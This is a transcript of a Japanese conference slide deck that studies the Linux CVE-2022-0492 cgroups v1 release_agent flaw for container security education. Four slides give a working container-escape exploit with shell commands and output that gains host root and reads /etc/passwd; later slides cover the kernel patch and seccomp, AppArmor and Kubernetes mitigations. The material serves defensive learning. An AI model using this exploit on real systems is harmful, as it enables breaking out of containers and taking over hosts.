Upgrade to Pro — share decks privately, control downloads, hide ads and more …

脆弱性に学ぶコンテナセキュリティ

 脆弱性に学ぶコンテナセキュリティ

3-shake SRE Tech Talk #3 の登壇資料です。
https://3-shake.connpass.com/event/241284/

Kyohei Mizumoto

March 18, 2022
Tweet

More Decks by Kyohei Mizumoto

Other Decks in Technology

Transcript

  1. Copyrights©3-shake Inc. All Rights Reserved. 2 whoami 株式会社スリーシェイク Sreake事業部 業務内容

    - SRE - AWS, GCP - terraform, kubernetes, etc... - CSIRT - セキュリティイベント・脆弱性対応 - サイバー演習 - 組織強化、自動化 - その他 - 3-shake SRE Tech Talk 運営 水元 恭平 (@kyohmizu)
  2. Copyrights©3-shake Inc. All Rights Reserved. 3 モチベーション 脆弱性から Linux やコンテナセキュリティの理解を深めよう!

    メリット - 脆弱性の解説記事を読むことで理解が深まる - 範囲が限定的なため、比較的短時間で取り組むことができる - 目的を持って調査できる - 実際に手を動かすことで様々な知見を得られる デメリット - 体系的な理解には不向き - 悪用手順が複雑な脆弱性は理解が難しい
  3. Copyrights©3-shake Inc. All Rights Reserved. 4 コンテナ関連の脆弱性 in 2022 CVE-2021-4154

    - cgroups v1 の脆弱性 - use-after-free による非特権ユーザの特権昇格、コンテナブレイクアウト、 DoS CVE-2022-0185 - Kernel の Filesystem Context 機能の脆弱性 - バッファオーバーフローによる非特権ユーザの特権昇格、コンテナブレイクアウト CVE-2022-0492 - cgroups v1 の脆弱性 - release_agent を設定することで非特権ユーザの特権昇格、コンテナブレイクアウトが可能 CVE-2022-23648 - containerd の脆弱性 - 特殊なイメージ設定のコンテナで、ホストの読み取り専用ファイルにアクセス可能
  4. Copyrights©3-shake Inc. All Rights Reserved. 5 CVE-2022-0492 コンテナエスケープと特権昇格の脆弱性 - cgroups

    v1 の release_agent - ホスト上で任意のコマンドを実行可能 - capability のチェック漏れにより非特権ユーザから設定が行えた - cgroups v2 には release_agent はないため影響なし - seccomp または AppArmor/SELinux を有効にすることで回避可能 エクスプロイトの再現が容易で、詳細な解説記事が出ているため取り組みやすい https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/ https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/
  5. Copyrights©3-shake Inc. All Rights Reserved. 6 release_agent について cgroup 内のプロセスの終了時に起動するプログラムを設定

    - release_agent は各 cgroup 階層のルートディレクトリに配置 - リリースエージェントプログラムは ホストの root 権限で実行される - cgroup ディレクトリ内の notify_on_release の値で判断 - notify_on_release = 1 の場合、リリースエージェントプログラムを起動 もともと CAP_SYS_ADMIN があればコンテナエスケープ可能だった https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ 本脆弱性は、CAP_SYS_ADMIN を持たない非特権コンテナから release_agent を設定できたことが問題
  6. Copyrights©3-shake Inc. All Rights Reserved. 7 エクスプロイト (1/4) 前提条件 -

    コンテナを root ユーザーとして実行 - seccomp, AppArmor/SELinux がいずれも有効でない - ホストの非特権ユーザー名前空間が有効( ubuntu ではデフォルト) 要点 - コンテナから cgroups の release_agent に書き込みたい - rdma サブシステムは root cgroup に所属しているが、readonly でマウントされている - cgroupfs を rw で新たにマウントしたいが、マウントには CAP_SYS_ADMIN が必要 - unshare で user namespace を作成すると CAP_SYS_ADMIN が得られる - cgroup, mount namespace も作成すれば cgroupfs をマウント可能 - rdma cgroupfs をマウント すると、release_agent に書き込み可能 - 任意の操作をホストの root 権限で実行
  7. Copyrights©3-shake Inc. All Rights Reserved. 8 # uname -a Linux

    ip-172-31-1-29 5.13.0-1017-aws #19~20.04.1-Ubuntu SMP Mon Mar 7 12:53:12 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux # docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash root@ab988587a245:/# cat /proc/self/cgroup 13:misc:/ 12:rdma:/ ← 1. rdma サブシステムは root cgroup … 1:name=systemd:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a 0::/system.slice/containerd.service root@ab988587a245:/# mount | grep 'cgroup (ro' cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd) … cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma) ← 2. readonly でマウントされている cgroup on /sys/fs/cgroup/misc type cgroup (ro,nosuid,nodev,noexec,relatime,misc) root@ab988587a245:/# ls /sys/fs/cgroup/rdma/ cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks root@ab988587a245:/# cat /proc/self/status | grep CapEff CapEff: 00000000a80425fb root@ab988587a245:/# capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_n et_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ← 3. CAP_SYS_ADMIN を持たない エクスプロイト (2/4)
  8. Copyrights©3-shake Inc. All Rights Reserved. 9 root@ab988587a245:/# mount -t cgroup

    -o rdma cgroup /mnt ← 4. CAP_SYS_ADMIN を持たないのでマウントできない mount: /mnt: permission denied. root@ab988587a245:/# unshare -rmC bash ← 5. user, mount, cgroup を分離 root@ab988587a245:/# cat /proc/self/status | grep CapEff CapEff: 000001ffffffffff root@ab988587a245:/# capsh --decode=000001ffffffffff 0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_i mmutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_s ys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mkno d,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap _audit_read,38,39,40 ← 6. CAP_SYS_ADMIN を持つ root@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt ← 7. rdma サブシステムをマウント root@ab988587a245:/# ls /mnt cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks root@ab988587a245:/# mount | grep 'cgroup (rw' cgroup on /mnt type cgroup (rw,relatime,rdma) root@ab988587a245:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@ab988587a245:/# echo $host_path /var/lib/docker/overlay2/20c4102a1a817b0e564734054b876c051732c62f4993ce682508ac7cd7fcb1c6/diff ← 8. docker 内のルートパス (upperdir) root@ab988587a245:/# echo "$host_path/cmd" > /mnt/release_agent root@ab988587a245:/# echo '#!/bin/sh' > /cmd root@ab988587a245:/# echo "cat /etc/passwd > $host_path/output" >> /cmd エクスプロイト (3/4)
  9. Copyrights©3-shake Inc. All Rights Reserved. 10 root@ab988587a245:/# chmod a+x /cmd

    root@ab988587a245:/# mkdir /mnt/xx ← 9. child cgroup を作成 root@ab988587a245:/# ls /mnt/xx/ cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks root@ab988587a245:/# echo 1 > /mnt/xx/notify_on_release root@ab988587a245:/# sh -c "echo \$\$" > /mnt/xx/cgroup.procs ← 10. すぐに終了するプロセスを xx に追加 root@ab988587a245:/# cat /output root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin … エクスプロイト (4/4)
  10. Copyrights©3-shake Inc. All Rights Reserved. 11 static ssize_t cgroup_release_agent_write(struct kernfs_open_file

    *of, char *buf, size_t nbytes, loff_t off) { struct cgroup *cgrp; + struct cgroup_file_ctx *ctx; BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX); + /* + * Release agent gets called with all capabilities, + * require capabilities to set release agent. + */ + ctx = of->priv; + if ((ctx->ns->user_ns != &init_user_ns) || + !file_ns_capable(of->file, &init_user_ns, CAP_SYS_ADMIN)) ← init_user_ns かつ CAP_SYS_ADMIN を持つ場合のみ + return -EPERM; cgrp = cgroup_kn_lock_live(of->kn, false); 修正パッチ https://github.com/torvalds/linux/commit/24f6008564183aa120d07c03d9289519c2fe02af https://github.com/torvalds/linux/commit/467a726b754f474936980da793b4ff2ec3e382a7 kernel/cgroup/cgroup-v1.c
  11. Copyrights©3-shake Inc. All Rights Reserved. 12 # uname -r 5.17.0-051700rc7-generic

    # docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash root@a45e44c77da9:/# unshare -rmC bash root@a45e44c77da9:/# mount -t cgroup -o rdma cgroup /mnt root@a45e44c77da9:/# ls /mnt cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks root@a45e44c77da9:/# echo test > /mnt/release_agent bash: echo: write error: Operation not permitted 修正パッチ 適用後は release_agent への書き込み不可 - CAP_SYS_ADMIN は持つが init user namespace でないため - init user namespace かつ CAP_SYS_ADMIN を同時に満たすのは非特権コンテナだと不可能 (厳密にはそれぞれ見ている use_ns が違う) - 特権コンテナでは引き続きコンテナブレイクアウト可能 - 非特権コンテナにする、 seccomp や AppArmor/SELinux 等の対策は必要
  12. Copyrights©3-shake Inc. All Rights Reserved. 13 コンテナセキュリティ seccomp - コンテナ内で実行できるシステムコールを制限する

    - unshare システムコールをブロック AppArmor (SELinux) - ファイル操作、プログラム実行、 capabilities 等を制限する - mount namespace の作成を制限 # docker run --rm -it --security-opt seccomp=unconfined ubuntu bash ← AppArmor 有効 root@46912ffebb2c:/# cat /proc/self/attr/current docker-default (enforce) root@46912ffebb2c:/# unshare -rmC bash unshare: cannot change root filesystem propagation: Permission denied # docker run --rm -it --security-opt apparmor=unconfined ubuntu bash ← seccomp 有効 root@fb3522b81478:/# cat /proc/self/status | grep Seccomp Seccomp: 2 Seccomp_filters: 1 root@fb3522b81478:/# unshare -rmC bash unshare: unshare failed: Operation not permitted
  13. Copyrights©3-shake Inc. All Rights Reserved. 14 Kubernetes の場合 seccomp や

    AppArmor/SELinux は環境や設定次第では OFF のため影響がある - ノードやコンテナランタイムで有効にする必要がある( AppArmor, SELinux) - Pod マニフェストに設定する必要がある( seccomp, AppArmor, SELinux) - securityContext の設定(allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities 等) とはいえ... EKS - Amazon Linux 2 ではコンテナ内に root cgroup がマウントされたサブシステムはない - cgroup を新規にマウントしても release_agent は見えない GKE - COS はデフォルトで AppArmor が有効になっている https://cloud.google.com/container-optimized-os/docs/how-to/secure-apparmor → EKS, GKE を使用している場合は影響なさそう $ k run ubuntu --image ubuntu -- sleep 3600 pod/ubuntu created $ k exec -it ubuntu -- bash root@ubuntu:/# cat /proc/self/attr/current cri-containerd.apparmor.d (enforce) root@ubuntu:/# unshare -rmC bash unshare: cannot change root filesystem propagation: Permission denied
  14. Copyrights©3-shake Inc. All Rights Reserved. 15 まとめ CVE-2022-0492 の調査で得られた知見 -

    コンテナ要素の基本的理解 - cgroups - namespaces - (OverlayFS) - cgroups v1 の release_agent の仕組みと実装 - コンテナブレイクアウト - コンテナセキュリティ - seccomp - AppArmor/SELinux - Kubernetes のコンテナセキュリティ
  15. Copyrights©3-shake Inc. All Rights Reserved. 16 appendix ubuntu 21.10 に最新の

    Kernel (v5.17-rc7) をインストールする https://linuxhint.com/install-linux-kernel-ubuntu/ https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17-rc7/ $ wget http://mirrors.kernel.org/ubuntu/pool/main/o/openssl/libssl3_3.0.1-0ubuntu1_amd64.deb $ sudo dpkg -i libssl3_3.0.1-0ubuntu1_amd64.deb $ mkdir work && cd work $ wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17-rc7/amd64/linux-headers-5.17.0-051700rc7-generic_5.17.0-051700rc7.202203062330_amd64.d eb $ wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17-rc7/amd64/linux-headers-5.17.0-051700rc7_5.17.0-051700rc7.202203062330_all.deb $ wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17-rc7/amd64/linux-image-unsigned-5.17.0-051700rc7-generic_5.17.0-051700rc7.202203062330_a md64.deb $ wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17-rc7/amd64/linux-modules-5.17.0-051700rc7-generic_5.17.0-051700rc7.202203062330_amd64.d eb $ sudo dpkg -i *.deb $ reboot
  16. Copyrights©3-shake Inc. All Rights Reserved. 17 CVE-2022-0492 https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/ https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/ https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2022/03/06/cve-2022-0492

    https://nvd.nist.gov/vuln/detail/CVE-2022-0492 Linux https://lwn.net/Articles/679786/ https://www.nginx.com/blog/what-are-namespaces-cgroups-how-do-they-work/ https://linuxhint.com/install-linux-kernel-ubuntu/ https://man7.org/linux/man-pages/man7/cgroups.7.html https://blog.tiqwab.com/2021/11/13/docker-and-cgroups.html https://en.wikipedia.org/wiki/Seccomp https://en.wikipedia.org/wiki/Security-Enhanced_Linux https://manpages.ubuntu.com/manpages/xenial/man5/apparmor.d.5.html コンテナセキュリティ https://container-security.dev/security/breakout-to-host.html https://speakerdeck.com/mochizuki875/container-dev-security https://speakerdeck.com/mochizuki875/container-seccomp 参考